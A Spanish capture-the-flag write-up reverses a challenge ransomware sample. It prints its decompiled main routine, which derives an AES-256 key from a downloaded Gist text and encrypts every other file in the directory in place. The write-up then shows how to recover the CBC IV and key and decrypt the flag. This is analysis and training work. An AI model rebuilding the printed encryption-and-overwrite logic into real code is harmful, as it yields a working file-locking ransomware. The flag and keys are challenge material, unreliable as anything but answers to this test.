Favela Ransomware
8 minutos de lectura
En este reto nos dan un Windows PE llamado favela_ransom.exe
junto con otros archivos que forman parte de un ataque de ransomware, junto con los archivos cifrados que tenemos que recuperar:
$ file *
diary.txt: data
favela_ransom.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
flag.enc: data
lia sikora desnuda.jpg: data
note.txt: Unicode text, UTF-8 text
ransomed.png: PNG image data, 2643 x 1580, 8-bit/color RGBA, non-interlaced
Ingeniería inversa
Al abrir el ejecutable en Ghidra, y mirar las strings, vemos una curiosa que apunta a un Gist de GitHub: https://gist.githubusercontent.com/jsdario/6d6c69398cb0c73111e49f1218960f79/raw.
Se trata de un extracto de El Quijote. Si miramos las referencias a esta string, llegamos a la función principal del programa:
undefined8 FUN_140001717(void) {
// ...
uVar10 = (undefined4)((ulonglong)in_stack_fffffffffffffbc8 >> 0x20);
FUN_140003360();
local_24 = 0;
local_44 = 0x1c;
local_48 = 0x3c;
uVar7 = 0;
uVar5 = 0;
pauVar3 = (undefined1 (*) [10])0x1;
local_50 = InternetOpenA(0);
if (local_50 == 0) {
FUN_140001550("Failed to open Internet connection\n",pauVar3,uVar5,uVar7);
uVar5 = 1;
}
else {
uVar11 = 0;
uVar9 = CONCAT44(uVar10,0x80000000);
uVar7 = 0;
uVar5 = 0;
pcVar4 = "https://gist.github.com/jsdario/6d6c69398cb0c73111e49f1218960f79/raw";
local_58 = InternetOpenUrlA(local_50);
if (local_58 == 0) {
FUN_140001550("Failed to connect to the server\n",(undefined1 (*) [10])pcVar4,uVar5,uVar7);
InternetCloseHandle(local_50);
uVar5 = 1;
}
else {
InternetReadFile(local_58,local_2b8,0x200,local_ac,uVar9,uVar11);
InternetCloseHandle(local_58);
InternetCloseHandle(local_50);
local_20 = strtok(local_2b8," \t\n");
while ((local_20 != NULL && (local_24 < local_48))) {
if (local_44 <= local_24) {
local_2d8[local_24 - local_44] = *local_20;
}
local_24 = local_24 + 1;
local_20 = strtok(NULL," \t\n");
}
local_2e8 = 0x2847440128473928;
local_2e0 = 0x28044719461b471a;
for (local_30 = 0; local_30 < 0x10; local_30 = local_30 + 1) {
*(byte *)((longlong)&local_2e8 + local_30) =
*(byte *)((longlong)&local_2e8 + local_30) ^ 0x77;
}
for (local_38 = 0; local_38 < 0x20; local_38 = local_38 + 1) {
local_308[local_38] = local_2d8[local_38];
}
for (local_40 = 0; local_40 < 0x10; local_40 = local_40 + 1) {
*(undefined *)((longlong)local_318 + local_40) =
*(undefined *)((longlong)&local_2e8 + local_40);
}
FUN_14000211f((longlong)local_418,(longlong)local_308,local_318);
local_60 = (undefined8 *)FUN_140004390(".");
if (local_60 == NULL) {
perror("Error opening directory");
uVar5 = 1;
}
else {
LAB_140001d1a:
local_68 = FUN_1400045d0(local_60);
if (local_68 != NULL) {
local_80 = fopen((char *)(local_68 + 1),"rb+");
local_88 = "favela_ransom.exe";
local_90 = "ransomed.png";
local_98 = "note.txt";
iVar2 = strcmp((char *)(local_68 + 1),"favela_ransom.exe");
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_90);
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_98);
if ((iVar2 != 0) && (local_80 != NULL)) {
fseek(local_80,0,2);
local_9c = ftell(local_80);
rewind(local_80);
local_a8 = (undefined8 *)malloc((longlong)(int)(local_9c + 1));
if (local_a8 != NULL) {
fread(local_a8,(longlong)(int)local_9c,1,local_80);
if ((local_9c & 0xf) == 0) {
FUN_140003069((longlong)local_418,local_a8,(longlong)(int)local_9c);
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
}
else {
pauVar3 = (undefined1 (*) [10])(longlong)(int)local_9c;
pSVar8 = &local_428;
ppuVar6 = &local_420;
bVar1 = FUN_14000165c(local_a8,(ulonglong)pauVar3,ppuVar6,pSVar8);
if ((int)CONCAT71(extraout_var,bVar1) == 0) {
FUN_140001550("Error padding buffer\n",pauVar3,ppuVar6,pSVar8);
fclose(local_80);
goto LAB_140001d1a;
}
FUN_140003069((longlong)local_418,local_420,local_428);
fseek(local_80,0,0);
fwrite(local_420,local_428,1,local_80);
lpMem = local_420;
hHeap = GetProcessHeap();
HeapFree(hHeap,0,lpMem);
}
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
free(local_a8);
}
fclose(local_80);
}
}
}
goto LAB_140001d1a;
}
FUN_140004810(local_60);
local_70 = "ransomed.png";
ShellExecuteA(NULL,"open","ransomed.png",NULL,NULL,1);
local_78 = "note.txt";
ShellExecuteA(NULL,"open","notepad.exe","note.txt",NULL,1);
uVar5 = 0;
}
}
}
return uVar5;
}
Identificación de claves de cifrado
Básicamente, está descargando el archivo y está cogiendo las palabras del texto mediante strtok
:
local_20 = strtok(local_2b8," \t\n");
while ((local_20 != NULL && (local_24 < local_48))) {
if (local_44 <= local_24) {
local_2d8[local_24 - local_44] = *local_20;
}
local_24 = local_24 + 1;
local_20 = strtok(NULL," \t\n");
}
Con esto, crea algún tipo de clave. Por otro lado, aparece otra clave aquí:
local_2e8 = 0x2847440128473928;
local_2e0 = 0x28044719461b471a;
for (local_30 = 0; local_30 < 0x10; local_30 = local_30 + 1) {
*(byte *)((longlong)&local_2e8 + local_30) =
*(byte *)((longlong)&local_2e8 + local_30) ^ 0x77;
}
Si desciframos este XOR con 0x77
, veremos la clave en texto claro:
$ python3 -q
>>> from pwn import p64, xor
>>> xor(p64(0x2847440128473928) + p64(0x28044719461b471a), 0x77)
b'_N0_v30_m0l1n0s_'
En la parte en la que cifra archivos, lista los archivos del directorio actual y verifica no estar cifrando los archivos que vienen con el ransomware:
local_68 = FUN_1400045d0(local_60);
if (local_68 != NULL) {
local_80 = fopen((char *)(local_68 + 1),"rb+");
local_88 = "favela_ransom.exe";
local_90 = "ransomed.png";
local_98 = "note.txt";
iVar2 = strcmp((char *)(local_68 + 1),"favela_ransom.exe");
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_90);
if (iVar2 != 0) {
iVar2 = strcmp((char *)(local_68 + 1),local_98);
if ((iVar2 != 0) && (local_80 != NULL)) {
Identificación de algoritmos de cifrado
La parte en la que cifra es:
fread(local_a8,(longlong)(int)local_9c,1,local_80);
if ((local_9c & 0xf) == 0) {
FUN_140003069((longlong)local_418,local_a8,(longlong)(int)local_9c);
fseek(local_80,0,0);
fwrite(local_a8,(longlong)(int)local_9c,1,local_80);
}
En esta función, vemos dos funciones (FUN_140003015
y FUN_140002ece
) a las que se le pasan bloques de 16 bytes de texto claro:
void FUN_140003069(longlong param_1,undefined8 *param_2,ulonglong param_3) {
undefined8 uVar1;
undefined8 *local_res10;
undefined8 *local_18;
ulonglong local_10;
local_18 = (undefined8 *)(param_1 + 0xf0);
local_res10 = param_2;
for (local_10 = 0; local_10 < param_3; local_10 = local_10 + 0x10) {
FUN_140003015((longlong)local_res10,(longlong)local_18);
FUN_140002ece((longlong)local_res10,param_1);
local_18 = local_res10;
local_res10 = local_res10 + 2;
}
uVar1 = local_18[1];
*(undefined8 *)(param_1 + 0xf0) = *local_18;
*(undefined8 *)(param_1 + 0xf8) = uVar1;
return;
}
La función FUN_140003015
aplica un cifrado XOR:
void FUN_140003015(longlong param_1,longlong param_2) {
byte local_9;
for (local_9 = 0; local_9 < 0x10; local_9 = local_9 + 1) {
*(byte *)(param_1 + (ulonglong)local_9) =
*(byte *)(param_2 + (ulonglong)local_9) ^ *(byte *)(param_1 + (ulonglong)local_9);
}
return;
}
Y la función FUN_140002ece
aplica un cifrado AES-256 en modo ECB. Sabemos esto en parte por la información que aparece en note.txt
:
Utilizando criptografia AES 256bit, tornando practicamente impossível a
recuperacão dos arquivos sem a chave correta para recuperação dos dados.
Por otro lado, al mirar la función vemos una serie de llamadas que desvelan que es AES:
void FUN_140002ece(longlong param_1,longlong param_2) {
byte local_9;
FUN_140002193(0,param_1,param_2);
local_9 = 1;
while( true ) {
FUN_14000223e(param_1);
FUN_1400022bf(param_1);
if (local_9 == 0xe) break;
FUN_1400023cf(param_1);
FUN_140002193(local_9,param_1,param_2);
local_9 = local_9 + 1;
}
FUN_140002193(0xe,param_1,param_2);
return;
}
Por ejemplo, vemos que el cifrado consiste en una serie de funciones ejecutadas en 14 (0xe
) rondas. Por otro lado, podemos identificar el uso de una S-Box en la función FUN_14000223e
:
void FUN_14000223e(longlong param_1) {
byte local_a;
byte local_9;
for (local_9 = 0; local_9 < 4; local_9 = local_9 + 1) {
for (local_a = 0; local_a < 4; local_a = local_a + 1) {
*(undefined *)((longlong)(int)(uint)local_a * 4 + param_1 + (longlong)(int)(uint)local_9) =
(&DAT_14000b140)
[(int)(uint)*(byte *)((longlong)(int)(uint)local_a * 4 + param_1 +
(longlong)(int)(uint)local_9)];
}
}
return;
}
El símbolo DAT_14000b140
contiene estos bytes:
14000b140 63 ?? 63h c
14000b141 7c ?? 7Ch |
14000b142 77 ?? 77h w
14000b143 7b ?? 7Bh {
14000b144 f2 ?? F2h
14000b145 6b ?? 6Bh k
14000b146 6f ?? 6Fh o
14000b147 c5 ?? C5h
14000b148 30 ?? 30h 0
14000b149 01 ?? 01h
14000b14a 67 ?? 67h g
14000b14b 2b ?? 2Bh +
14000b14c fe ?? FEh
14000b14d d7 ?? D7h
14000b14e ab ?? ABh
14000b14f 76 ?? 76h v
...
Que es claramente la S-Box de Rijndael que se usa en AES.
Por tanto, esta función FUN_14000223e
se corresponde con la etapa SubBytes de AES. El resto de funciones del bucle se corresponden con MixColumns, ShiftRows y AddRoundKey. Por ejemplo, esta es la función de ShiftRows:
void FUN_1400022bf(longlong param_1) {
undefined uVar1;
uVar1 = *(undefined *)(param_1 + 1);
*(undefined *)(param_1 + 1) = *(undefined *)(param_1 + 5);
*(undefined *)(param_1 + 5) = *(undefined *)(param_1 + 9);
*(undefined *)(param_1 + 9) = *(undefined *)(param_1 + 0xd);
*(undefined *)(param_1 + 0xd) = uVar1;
uVar1 = *(undefined *)(param_1 + 2);
*(undefined *)(param_1 + 2) = *(undefined *)(param_1 + 10);
*(undefined *)(param_1 + 10) = uVar1;
uVar1 = *(undefined *)(param_1 + 6);
*(undefined *)(param_1 + 6) = *(undefined *)(param_1 + 0xe);
*(undefined *)(param_1 + 0xe) = uVar1;
uVar1 = *(undefined *)(param_1 + 3);
*(undefined *)(param_1 + 3) = *(undefined *)(param_1 + 0xf);
*(undefined *)(param_1 + 0xf) = *(undefined *)(param_1 + 0xb);
*(undefined *)(param_1 + 0xb) = *(undefined *)(param_1 + 7);
*(undefined *)(param_1 + 7) = uVar1;
return;
}
Y esta la de AddRoundKey:
void FUN_140002193(byte param_1,longlong param_2,longlong param_3) {
byte local_a;
byte local_9;
for (local_9 = 0; local_9 < 4; local_9 = local_9 + 1) {
for (local_a = 0; local_a < 4; local_a = local_a + 1) {
*(byte *)((longlong)(int)(uint)local_9 * 4 + param_2 + (longlong)(int)(uint)local_a) =
*(byte *)(param_3 + (int)((uint)local_a + ((uint)local_9 + (uint)param_1 * 4) * 4)) ^
*(byte *)((longlong)(int)(uint)local_9 * 4 + param_2 + (longlong)(int)(uint)local_a);
}
}
return;
}
Entonces, queda claro que el cifrado es XOR + AES en bloques de 16 bytes.
La clave de XOR es _N0_v30_m0l1n0s_
. Realmente, es la clave inicial, puesto que en la segunda iteración, se toma el bloque de texto cifrado anterior como clave. Así, se consigue un modo CBC en AES. Veamos otra vez la función de cifrado (con símbolos renombrados):
void do_encrypt(longlong key, char *pt, ulonglong size) {
undefined8 uVar1;
char *pt_block;
char *iv;
ulonglong i;
iv = (char *) (key + 0xf0);
pt_block = pt;
for (i = 0; i < size; i += 0x10) {
xor((longlong) pt_block, (longlong) iv);
aes((longlong) pt_block, key);
iv = pt_block;
pt_block += 0x10;
}
uVar1 = *(undefined8 *) (iv + 8);
*(undefined8 *) (key + 0xf0) = *(undefined8 *) iv;
*(undefined8 *) (key + 0xf8) = uVar1;
}
Lo único que falta es obtener la clave de AES. En código es algo difícil de ver, pero podemos usar un depurador. Al mirar el programa en x64dbg y poner un breakpoint en la función que deriva las RoundKeys de AES (fácil de distinguir porque hace uso de la S-Box), veremos que lo que coge son las letras iniciales de las primeras 32 palabras de El Quijote:
EuldlMdcnnqanhmtqvuhdldleaaarfyg
Flag
Con todo esto, ya podemos descifrar la flag (descifrando XOR y AES en modo ECB, o simplemente con AES en modo CBC):
$ python3 -q
>>> from pwn import p64, xor
>>> from Crypto.Cipher import AES
>>>
>>> xor(p64(0x2847440128473928) + p64(0x28044719461b471a), 0x77)
b'_N0_v30_m0l1n0s_'
>>> key = b'EuldlMdcnnqanhmtqvuhdldleaaarfyg'
>>> len(key)
32
>>>
>>> with open('flag.enc', 'rb') as f:
... flag_enc = f.read()
...
>>> cipher = AES.new(key, AES.MODE_ECB)
>>> xor(cipher.decrypt(flag_enc[:16]), b'_N0_v30_m0l1n0s_')
b'HackOn{3u_s0u_o_'
>>> xor(cipher.decrypt(flag_enc[16:32]), flag_enc[:16])
b'X-M3n_D4_Favel4}'
>>> xor(cipher.decrypt(flag_enc[:16]), b'_N0_v30_m0l1n0s_') + xor(cipher.decrypt(flag_enc[16:32]), flag_enc[:16])
b'HackOn{3u_s0u_o_X-M3n_D4_Favel4}'
>>>
>>> cipher = AES.new(key, AES.MODE_CBC, iv=b'_N0_v30_m0l1n0s_')
>>> cipher.decrypt(flag_enc)
b'HackOn{3u_s0u_o_X-M3n_D4_Favel4}'